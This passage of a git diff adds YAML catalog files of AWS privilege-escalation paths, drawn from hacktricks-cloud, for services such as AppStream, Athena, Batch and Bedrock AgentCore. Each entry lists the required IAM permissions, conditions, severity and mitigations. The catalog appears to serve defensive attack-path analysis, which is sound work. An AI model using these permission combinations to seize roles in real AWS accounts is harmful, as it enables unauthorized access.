+ target: + kind: aws_role + selector: + source_kind: [aws_user, aws_role] + trust_allows_service: appstream.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: Roles trusting appstream.amazonaws.com passable in {account} + outcome: workload_execution + preconditions: + - appstream_new_app_block_builder_with_role + conditions: + - id: app_block_and_network + description: The new builder needs suitable subnets and an app block it can be associated with before it starts. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole and app block builder creation to approved roles and administrators. + references: + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_CreateAppBlockBuilder.html + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_CreateAppBlock.html + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_StartAppBlockBuilder.html + +- id: aws-appstream-passrole-createimagebuilder + provider: aws + service: appstream + title: Create and stream into an image builder with a passed role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#appstreamcreateimagebuilder--createfleet--iampassrole--session-with-the-passed-roles-credentials + source_revision: 6fb9ac51fd + summary: The source can create an image builder with a passable role and stream into it. + requires: + all_of: + - action: iam:PassRole + resource: '{target.arn}' + target: + kind: aws_role + selector: + source_kind: [aws_user, aws_role] + trust_allows_service: appstream.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: Roles trusting appstream.amazonaws.com passable in {account} + outcome: workload_execution + preconditions: + - appstream_new_image_builder_with_role + conditions: + - id: image_builder_readiness + description: The available image and capacity must allow the new builder to reach a running state before streaming. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole and image builder creation to approved roles and administrators. + references: + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_CreateImageBuilder.html + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_DescribeImages.html + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_CreateImageBuilderStreamingURL.html + +- id: aws-appstream-passrole-updatefleet + provider: aws + service: appstream + title: Set a passable role on a streamable fleet + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#appstreamcreateimagebuilder--createfleet--iampassrole--session-with-the-passed-roles-credentials + source_revision: 6fb9ac51fd + summary: The source can set a passable role on an existing fleet and stream into that fleet. + requires: + all_of: + - action: iam:PassRole + resource: '{target.arn}' + target: + kind: aws_role + selector: + source_kind: [aws_user, aws_role] + trust_allows_service: appstream.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: Roles trusting appstream.amazonaws.com passable in {account} + outcome: workload_execution + preconditions: + - appstream_existing_fleet_role_swap + conditions: + - id: fleet_readiness + description: The fleet must be associated with a usable stack and able to run streaming sessions after its role changes. + - id: streaming_url_scope + description: CreateStreamingURL permission must cover both the chosen fleet and its associated stack. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole and UpdateFleet on fleets that can run sessions with privileged roles. + references: + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_UpdateFleet.html + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_ListAssociatedStacks.html + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_CreateStreamingURL.html + +- id: aws-appstream-passrole-updateappblockbuilder + provider: aws + service: appstream + title: Set a passable role on a streamable app block builder + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appstream-privesc/README.md#appstreamcreateimagebuilder--createfleet--iampassrole--session-with-the-passed-roles-credentials + source_revision: 6fb9ac51fd + summary: The source can set a passable role on an existing app block builder and stream into it. + requires: + all_of: + - action: iam:PassRole + resource: '{target.arn}' + target: + kind: aws_role + selector: + source_kind: [aws_user, aws_role] + trust_allows_service: appstream.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: Roles trusting appstream.amazonaws.com passable in {account} + outcome: workload_execution + preconditions: + - appstream_existing_app_block_builder_role_swap + conditions: + - id: builder_readiness + description: The builder must be associated with an app block and able to run a streaming session after its role changes. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole and UpdateAppBlockBuilder on builders that can run sessions with privileged roles. + references: + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_UpdateAppBlockBuilder.html + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_DescribeAppBlockBuilderAppBlockAssociations.html + - https://docs.aws.amazon.com/appstream2/latest/APIReference/API_CreateAppBlockBuilderStreamingURL.html diff --git a/src/privilege-escalation-paths-research/aws/appsync.yaml b/src/privilege-escalation-paths-research/aws/appsync.yaml new file mode 100644 index 0000000000..e8cd5250b6 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/appsync.yaml @@ -0,0 +1,53 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS AppSync privilege escalation techniques. +# Source: hacktricks-cloud aws-appsync-privesc/README.md (rev 171e422299). + +- id: aws-appsync-passrole-new-api-sigv4 + provider: aws + service: appsync + title: Use a passed role through a new AppSync HTTP resolver + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-appsync-privesc/README.md#appsynccreatedatasource-iampassrole--drive-an-arbitrary-role-through-a-graphql-field + source_revision: 171e422299 + summary: The source can create a GraphQL API and an IAM-signed HTTP resolver that calls AWS APIs using the passed role. + requires: + all_of: + - action: appsync:CreateGraphqlApi + resource: '*' + - action: appsync:StartSchemaCreation + resource: '*' + - action: appsync:CreateDataSource + resource: '*' + - action: appsync:CreateResolver + resource: '*' + - action: appsync:CreateApiKey + resource: '*' + - action: iam:PassRole + resource: '{target.arn}' + request_context: + iam:PassedToService: appsync.amazonaws.com + target: + kind: aws_role + selector: + trust_allows_service: appsync.amazonaws.com + scope: same_account + outcome: workload_execution + preconditions: + - appsync_new_api_global_setup + conditions: + - id: graphql_execution + description: The new schema, HTTP data source and resolver must be created successfully, and a field invocation must reach the signed AWS endpoint. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Limit iam:PassRole to exact AppSync service roles and reserve API and resolver creation for trusted operators. + references: + - https://docs.aws.amazon.com/appsync/latest/APIReference/API_CreateGraphqlApi.html + - https://docs.aws.amazon.com/appsync/latest/APIReference/API_CreateDataSource.html + - https://docs.aws.amazon.com/appsync/latest/APIReference/API_CreateResolver.html + notes: This self-contained route needs wildcard permission for each operation on the new API and creates its own API key. Existing API or resolver variants need separate evidence for a callable field and usable authorization method. diff --git a/src/privilege-escalation-paths-research/aws/arc-region-switch.yaml b/src/privilege-escalation-paths-research/aws/arc-region-switch.yaml new file mode 100644 index 0000000000..b787fa5ef9 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/arc-region-switch.yaml @@ -0,0 +1,10 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon Application Recovery Controller (ARC) Region switch privilege escalation techniques. +# Source: hacktricks-cloud aws-region-switch-privesc/README.md (rev 171e422299). + +[] diff --git a/src/privilege-escalation-paths-research/aws/athena.yaml b/src/privilege-escalation-paths-research/aws/athena.yaml new file mode 100644 index 0000000000..6721c52476 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/athena.yaml @@ -0,0 +1,150 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon Athena (Spark workgroups and stored notebooks) privilege escalation techniques. +# Source: hacktricks-cloud aws-athena-spark-role-privesc/README.md and aws-athena-stored-query-privesc/README.md (rev 171e422299). +# Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). Athena Spark workgroups carry an +# ExecutionRole (trusting athena.amazonaws.com) used by every session, calculation and notebook in the workgroup. + +- id: aws-athena-startcalculationexecution-existing-session + provider: aws + service: athena + title: Run code in an existing Athena Spark session + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-athena-spark-role-privesc/README.md#athenastartcalculationexecution--execute-code-in-an-existing-spark-session + source_revision: 171e422299 + summary: A caller who can submit calculations to an idle PySpark 3 session may run code with that session's recorded execution role. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Execution roles of idle Athena Spark sessions in {account} + outcome: workload_execution + preconditions: + - athena_existing_session_calculation_role + conditions: + - id: session_stays_active + description: The recorded session must still be idle when the calculation is submitted. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Limit StartCalculationExecution to the principals that operate the relevant Spark workgroups, and keep their execution roles least privileged. + references: + - https://docs.aws.amazon.com/athena/latest/APIReference/API_StartCalculationExecution.html + - https://docs.aws.amazon.com/athena/latest/APIReference/API_GetSession.html + - https://docs.aws.amazon.com/athena/latest/ug/notebooks-spark-api-list.html + notes: The evaluator joins each listed session to its exact GetSession execution role and requires IDLE state, PySpark engine version 3, and StartCalculationExecution on its workgroup ARN. No PassRole or StartSession grant is required for this existing-session route. + +- id: aws-athena-getsessionendpoint-spark-connect + provider: aws + service: athena + title: Open an existing Athena Spark Connect session + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-athena-spark-role-privesc/README.md#athenagetsessionendpoint--take-over-an-active-spark-connect-session + source_revision: 171e422299 + summary: A caller who can mint the endpoint token for an active Spark 3.5 session may control it using its recorded execution role. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Execution roles of active Athena Spark Connect sessions in {account} + outcome: workload_execution + preconditions: + - athena_existing_spark_connect_role + conditions: + - id: session_stays_active + description: The session must remain active and the endpoint token must be used while valid. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Limit GetSessionEndpoint to approved session operators and keep Spark session execution roles least privileged. + references: + - https://docs.aws.amazon.com/athena/latest/APIReference/API_GetSessionEndpoint.html + - https://docs.aws.amazon.com/athena/latest/ug/notebooks-spark-connect.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_athena.html + notes: The evaluator joins the exact session role and requires active Apache Spark version 3.5 plus GetSessionEndpoint on the workgroup and session ARNs. It never requests or stores the endpoint token. + +- id: aws-athena-createpresignednotebookurl + provider: aws + service: athena + title: Open an existing Athena Spark notebook + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-athena-spark-role-privesc/README.md#athenacreatepresignednotebookurl--take-over-a-running-spark-notebook + source_revision: 171e422299 + summary: A caller who can mint a notebook URL for an active PySpark 3 notebook session may use its recorded execution role. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + scope: same_account + aggregate_as: Execution roles of active Athena Spark notebooks in {account} + outcome: workload_execution + preconditions: + - athena_existing_notebook_url_role + conditions: + - id: notebook_stays_active + description: The notebook session must remain active and the URL must be used while valid. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Limit CreatePresignedNotebookUrl to approved notebook operators and keep their execution roles least privileged. + references: + - https://docs.aws.amazon.com/athena/latest/APIReference/API_CreatePresignedNotebookUrl.html + - https://docs.aws.amazon.com/athena/latest/APIReference/API_GetSession.html + - https://docs.aws.amazon.com/athena/latest/ug/notebooks-spark-api-list.html + notes: The evaluator requires the exact session role, an active PySpark 3 session with NotebookVersion, and CreatePresignedNotebookUrl on its workgroup ARN. It never requests or stores the notebook token. + +- id: aws-athena-passrole-createworkgroup-spark + provider: aws + service: athena + title: Create an Athena Spark workgroup with a passed execution role and run code in it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-athena-spark-role-privesc/README.md#athenacreateworkgroup--athenastartsession--run-spark-code-as-an-arbitrary-passed-execution-role + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable role trusting athena.amazonaws.com by binding it to a new Spark workgroup and running calculations there. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: athena.amazonaws.com + - action: athena:CreateWorkGroup + resource: arn:{source.partition}:athena:*:{source.account}:workgroup/* + bind: new_workgroup + - action: athena:StartSession + resource: arn:{source.partition}:athena:*:{source.account}:workgroup/* + bind: new_workgroup + - action: athena:StartCalculationExecution + resource: arn:{source.partition}:athena:*:{source.account}:workgroup/* + bind: new_workgroup + target: + kind: aws_role + selector: + trust_allows_service: athena.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting athena.amazonaws.com passable in {account}" + outcome: workload_execution + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + - id: spark_region_support + description: Athena for Apache Spark must be available in the region. + - id: usable_workgroup + description: One available workgroup name must be covered by CreateWorkGroup, StartSession and StartCalculationExecution; the caller must select a Spark engine version that supports the calculation API, since Spark 3.5 uses Spark Connect instead. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Athena Spark execution roles with iam:PassedToService=athena.amazonaws.com and restrict athena:CreateWorkGroup to administrators. + references: + - https://docs.aws.amazon.com/athena/latest/ug/notebooks-spark-getting-started.html + - https://docs.aws.amazon.com/athena/latest/APIReference/API_CreateWorkGroup.html + notes: Generic PassRole path independent of existing sessions. diff --git a/src/privilege-escalation-paths-research/aws/batch.yaml b/src/privilege-escalation-paths-research/aws/batch.yaml new file mode 100644 index 0000000000..20badd6115 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/batch.yaml @@ -0,0 +1,84 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Batch privilege escalation techniques. +# Source: hacktricks-cloud aws-batch-privesc/README.md. + +- id: aws-batch-submitjob-existing-definition + provider: aws + service: batch + title: Submit a command through an existing Batch job role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-batch-privesc/README.md#batchsubmitjob + source_revision: 6fb9ac51fd + summary: A caller who can submit a command override for an active EC2 job definition may run that command with its recorded job role. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: + trust_allows_service: ecs-tasks.amazonaws.com + scope: same_account + aggregate_as: Job roles of existing Batch definitions in {account} + outcome: workload_execution + preconditions: + - batch_existing_definition_submitjob_role + conditions: + - id: runnable_container + description: The image must start on the selected EC2 queue and provide a command that can use the job role. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Limit SubmitJob to trusted callers on both approved queues and exact job definition revisions, and keep job roles least privileged. + references: + - https://docs.aws.amazon.com/batch/latest/APIReference/API_SubmitJob.html + - https://docs.aws.amazon.com/batch/latest/userguide/iam-example-restrict-job-submission.html + - https://docs.aws.amazon.com/batch/latest/userguide/job_definition_parameters.html + notes: The evaluator uses the recorded active definition revision, exact jobRoleArn and a valid enabled EC2 queue. It requires SubmitJob on both resource ARNs; PassRole is only checked when a definition is registered, not at submission. + +- id: aws-batch-registerjobdefinition-passrole-submitjob + provider: aws + service: batch + title: Register a Batch job definition with a passed job role and submit it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-batch-privesc/README.md#batchregisterjobdefinition-iampassrole--batchsubmitjob--run-a-container-as-a-passed-role + source_revision: 171e422299 + summary: The source can obtain the privileges of passable roles trusting ecs-tasks.amazonaws.com by registering a job definition that runs its own container with that role as the job role and submitting a job from it. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + - action: batch:RegisterJobDefinition + resource: "*" + - action: batch:SubmitJob + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: ecs-tasks.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting ecs-tasks.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - batch_new_job_and_ec2_queue_authorized + conditions: + - id: job_queue_available + description: batch:SubmitJob must cover the new job definition and an existing job queue with a VALID, ENABLED compute environment. + - id: fargate_execution_role + description: On Fargate compute environments the job definition must also carry an execution role (passed with iam:PassRole); on EC2 compute environments it is optional. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on ecs-tasks roles with iam:PassedToService, restrict batch:RegisterJobDefinition to the deployment pipeline, and scope batch:SubmitJob to exact job-definition revisions. + references: + - https://docs.aws.amazon.com/batch/latest/userguide/job_definition_parameters.html + - https://docs.aws.amazon.com/batch/latest/userguide/execution-IAM-role.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_batch.html + notes: The Service Authorization Reference lists iam:PassRole as a dependent action of batch:RegisterJobDefinition, and the job definition reference states jobRoleArn is an ECS task IAM role. The evaluator checks one unused job-definition name, its first revision and the same enabled EC2 queue with matching RegisterJobDefinition and SubmitJob grants. Other restricted names, incomplete inventories and Fargate execution-role requirements remain unresolved. Jobs on Amazon EKS compute environments use a Kubernetes service account instead of jobRoleArn and are not covered. diff --git a/src/privilege-escalation-paths-research/aws/bedrock.yaml b/src/privilege-escalation-paths-research/aws/bedrock.yaml new file mode 100644 index 0000000000..85ed5e4b62 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/bedrock.yaml @@ -0,0 +1,250 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS Bedrock / Bedrock AgentCore privilege escalation techniques. +# Source: hacktricks-cloud aws-bedrock-privesc/README.md and aws-bedrock-agentcore-privesc/README.md (rev 171e422299). + +- id: aws-bedrock-agentcore-createcodeinterpreter-passrole + provider: aws + service: bedrock + title: Create an AgentCore Code Interpreter with a passed execution role and run code in it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-agentcore-privesc/README.md#bedrock-agentcorecreatecodeinterpreter--createbrowser-iampassrole--sandbox-actions-with-an-execution-role + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of passable roles trusting bedrock-agentcore.amazonaws.com by creating + a Code Interpreter with that execution role and invoking it. + requires: + all_of: + - action: bedrock-agentcore:CreateCodeInterpreter + resource: '*' + - action: iam:PassRole + resource: '{target.arn}' + request_context: + iam:PassedToService: bedrock-agentcore.amazonaws.com + - action: bedrock-agentcore:StartCodeInterpreterSession + resource: arn:{source.partition}:bedrock-agentcore:*:{source.account}:code-interpreter-custom/* + bind: new_interpreter + - action: bedrock-agentcore:InvokeCodeInterpreter + resource: arn:{source.partition}:bedrock-agentcore:*:{source.account}:code-interpreter-custom/* + bind: new_interpreter + target: + kind: aws_role + selector: + trust_allows_service: bedrock-agentcore.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: Roles trusting bedrock-agentcore.amazonaws.com passable in {account} + outcome: workload_execution + preconditions: + - agentcore_new_interpreter_broad_name_and_role_ready + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict this. + - id: generated_interpreter_id + description: StartCodeInterpreterSession and InvokeCodeInterpreter must cover a fresh custom interpreter name and every service-generated suffix of its ID. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole for AgentCore execution roles and bedrock-agentcore:CreateCodeInterpreter. + references: [] + notes: CreateBrowser and InvokeBrowser need a separate browser-action proof; they do not establish arbitrary + code execution through the Code Interpreter path. + +- id: aws-bedrock-agentcore-codeinterpreter-existing + provider: aws + service: bedrock + title: Run code through an existing AgentCore Code Interpreter role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md#bedrock-agentcorestartcodeinterpretersession--bedrock-agentcoreinvokecodeinterpreter---code-interpreter-execution-role-pivot + source_revision: eb763dbd71 + summary: The source can run code in one ready Code Interpreter whose recorded execution role is the target role. + requires: + all_of: + - action: bedrock-agentcore:StartCodeInterpreterSession + resource: '{target.attached_resource_arn}' + - action: bedrock-agentcore:InvokeCodeInterpreter + resource: '{target.attached_resource_arn}' + target: + kind: aws_role + selector: + attached_to_service: bedrock-agentcore-code-interpreter + attached_resource_covered_by: bedrock-agentcore:StartCodeInterpreterSession + scope: same_account + aggregate_as: Roles attached to invokable AgentCore Code Interpreters in {account} + outcome: workload_execution + preconditions: + - agentcore_existing_code_interpreter_role_ready + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Limit Code Interpreter session and invoke grants to interpreters with appropriately scoped execution roles. + references: + - https://docs.aws.amazon.com/bedrock-agentcore-control/latest/APIReference/API_GetCodeInterpreter.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_bedrock-agentcore.html + + +- id: aws-bedrock-agent-lambda-actiongroup-hijack + provider: aws + service: bedrock + title: Modify a Lambda action-group function and trigger it through a Bedrock agent + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-privesc/README.md#lambdaupdatefunctioncode-bedrockinvokeagent---agent-tool-hijacking-via-lambda + source_revision: 171e422299 + summary: The source can obtain the privileges of the execution role of a Lambda function used as a Bedrock agent action group by changing its code and invoking the agent. + requires: + all_of: + - action: lambda:UpdateFunctionCode + resource: "{target.attached_resource_arn}" + - action: bedrock:InvokeAgent + resource: "*" + preconditions: + - bedrock_agent_actiongroup_lambda_execution_unverified + target: + kind: aws_role + selector: + attached_to_service: lambda + attached_resource_covered_by: lambda:UpdateFunctionCode + scope: same_account + aggregate_as: "Execution roles of Lambda functions behind Bedrock agent action groups in {account}" + conditions: + - id: function_is_action_group + description: The covered, unqualified Lambda function must be the enabled executor of an action group on a ready Bedrock agent alias that the source can invoke (bedrock:InvokeAgent Resource is the agent-alias ARN). + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict lambda:UpdateFunctionCode on agent tool functions and keep their execution roles least-privileged. + references: + - https://docs.aws.amazon.com/bedrock/latest/APIReference/API_agent_AgentActionGroup.html + notes: Alternative trigger to lambda:InvokeFunction; the generic UpdateFunctionCode technique is in lambda.yaml (part B). Updating function code changes $LATEST, not an immutable published Lambda version. A role edge needs the exact unqualified function ARN, its current code hash and execution role, a ready invocable agent alias and routed version, an enabled action group using that function, Bedrock permission to invoke it, and a fresh witnessed invocation that performs a useful role action. Missing or disjoint facts remain unknown. + +- id: aws-bedrock-agentcore-createharness-passrole + provider: aws + service: bedrock + title: Create an AgentCore harness with a passed execution role and run shell commands in it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-agentcore-privesc/README.md#bedrock-agentcorecreateharness-iampassrole-invokeagentruntimecommand--root-shell-as-a-role + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable role trusting bedrock-agentcore.amazonaws.com by creating a harness with that execution role and running commands in its runtime. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: bedrock-agentcore.amazonaws.com + - action: bedrock-agentcore:CreateHarness + resource: "*" + - action: bedrock-agentcore:CreateAgentRuntime + resource: "*" + - action: bedrock-agentcore:CreateMemory + resource: "*" + target: + kind: aws_role + selector: + trust_allows_service: bedrock-agentcore.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting bedrock-agentcore.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - agentcore_new_harness_generated_scope_and_role_ready + conditions: + - id: harness_ready + description: The harness and its managed runtime must reach READY under the passed role before a command can run. + - id: active_session + description: The command must use an active session of the same harness. + - id: managed_image_ready + description: The execution role must be able to start the managed image and access any configured memory. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Scope iam:PassRole to dedicated low-privilege AgentCore roles with iam:PassedToService=bedrock-agentcore.amazonaws.com and deny bedrock-agentcore:InvokeAgentRuntimeCommand unless direct shell access is required. + references: + - https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/harness-security.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_bedrock-agentcore.html + notes: CreateHarness, CreateAgentRuntime and CreateMemory are account-level actions. GetMemory and InvokeHarness/InvokeAgentRuntime/InvokeAgentRuntimeCommand are checked by the precondition against future harness resources. A custom endpoint is optional and needs separate CreateHarnessEndpoint/CreateAgentRuntimeEndpoint permissions. A concrete role edge requires fresh reviewed evidence that a READY harness using the exact role ran a command in an active session and performed a useful action unavailable directly to the caller; without that evidence the route remains unresolved. + +- id: aws-bedrock-agentcore-createagentruntime-passrole + provider: aws + service: bedrock + title: Create an AgentCore agent runtime with a passed role and invoke it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-agentcore-privesc/README.md#bedrock-agentcorecreateagentruntime--createagentruntimeendpoint-iampassrole--run-an-attacker-container-as-a-role + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable role trusting bedrock-agentcore.amazonaws.com by running a runtime artifact it controls under that role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: bedrock-agentcore.amazonaws.com + - action: bedrock-agentcore:CreateAgentRuntime + resource: "*" + - action: bedrock-agentcore:InvokeAgentRuntime + resource: arn:{source.partition}:bedrock-agentcore:*:{source.account}:runtime/* + - action: bedrock-agentcore:InvokeAgentRuntime + resource: arn:{source.partition}:bedrock-agentcore:*:{source.account}:runtime/*/runtime-endpoint/* + target: + kind: aws_role + selector: + trust_allows_service: bedrock-agentcore.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting bedrock-agentcore.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - agentcore_new_runtime_generated_scope_and_role_ready + conditions: + - id: artifact_pullable + description: The replacement container or code package must be caller controlled, retrievable by the service, and implement the runtime protocol. + - id: runtime_and_endpoint_ready + description: The new runtime and DEFAULT endpoint must reach READY before code can be invoked. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Scope iam:PassRole for bedrock-agentcore.amazonaws.com roles, restrict runtime creation to the deployment pipeline and allow only approved registries. + references: + - https://docs.aws.amazon.com/bedrock-agentcore/latest/APIReference/API_CreateAgentRuntime.html + notes: Generated runtime IDs have a service-chosen ten-character suffix. CreateAgentRuntime automatically creates the DEFAULT endpoint; a separate CreateAgentRuntimeEndpoint grant is not required. The precondition checks one fresh name and generated suffix scope covered by InvokeAgentRuntime, PassRole and trust grants. A concrete role edge requires fresh reviewed evidence that a controlled, pullable artifact ran under this exact role in a READY runtime and DEFAULT endpoint, and performed a useful action unavailable directly to the caller. The aws-bedrock-privesc page describes the same technique. + +- id: aws-bedrock-agentcore-updateagentruntime-passrole + provider: aws + service: bedrock + title: Repoint an existing AgentCore agent runtime to a passed role and invoke it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-agentcore-privesc/README.md#bedrock-agentcoreupdateagentruntime--updategateway-iampassrole--change-an-existing-resources-role + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable role trusting bedrock-agentcore.amazonaws.com by updating an existing runtime's role and artifact and invoking it. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: bedrock-agentcore.amazonaws.com + - action: bedrock-agentcore:UpdateAgentRuntime + resource: arn:{source.partition}:bedrock-agentcore:*:{source.account}:runtime/* + - action: bedrock-agentcore:InvokeAgentRuntime + resource: arn:{source.partition}:bedrock-agentcore:*:{source.account}:runtime/* + - action: bedrock-agentcore:InvokeAgentRuntime + resource: arn:{source.partition}:bedrock-agentcore:*:{source.account}:runtime/*/runtime-endpoint/* + target: + kind: aws_role + selector: + trust_allows_service: bedrock-agentcore.amazonaws.com + scope: same_account + aggregate_as: "Roles trusting bedrock-agentcore.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - agentcore_existing_runtime_update_and_invoke + conditions: + - id: executable_artifact + description: The replacement container or code package must be controlled by the caller, retrievable, and able to start before invocation. + - id: runtime_ready_after_update + description: The runtime update must succeed and its DEFAULT endpoint must serve the new version. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict bedrock-agentcore:UpdateAgentRuntime to the deployment pipeline, scope iam:PassRole for AgentCore roles and alert on role or image changes. + references: + - https://docs.aws.amazon.com/bedrock-agentcore/latest/APIReference/API_UpdateAgentRuntime.html + notes: Exact UpdateAgentRuntime, InvokeAgentRuntime on the runtime and DEFAULT endpoint, and associated-resource PassRole are checked by the precondition against collected resources. A concrete role edge also requires fresh reviewed evidence that a controlled replacement artifact reached the current READY version, a new session invoked DEFAULT, and the exact role performed a useful action unavailable directly to the caller. Existing sessions may keep an older version. UpdateGateway needs a separate configured target-action proof. diff --git a/src/privilege-escalation-paths-research/aws/bounded-effects-v5.yaml b/src/privilege-escalation-paths-research/aws/bounded-effects-v5.yaml new file mode 100644 index 0000000000..306a08baca --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/bounded-effects-v5.yaml @@ -0,0 +1,3 @@ +# AWS privilege escalation: exact principal or explicit new effective permission only. +# Original entries are preserved byte-for-byte in docs/privesc-ledgers/aws-scope-archive-20261016/. +[] diff --git a/src/privilege-escalation-paths-research/aws/braket.yaml b/src/privilege-escalation-paths-research/aws/braket.yaml new file mode 100644 index 0000000000..086cb7663a --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/braket.yaml @@ -0,0 +1,46 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an 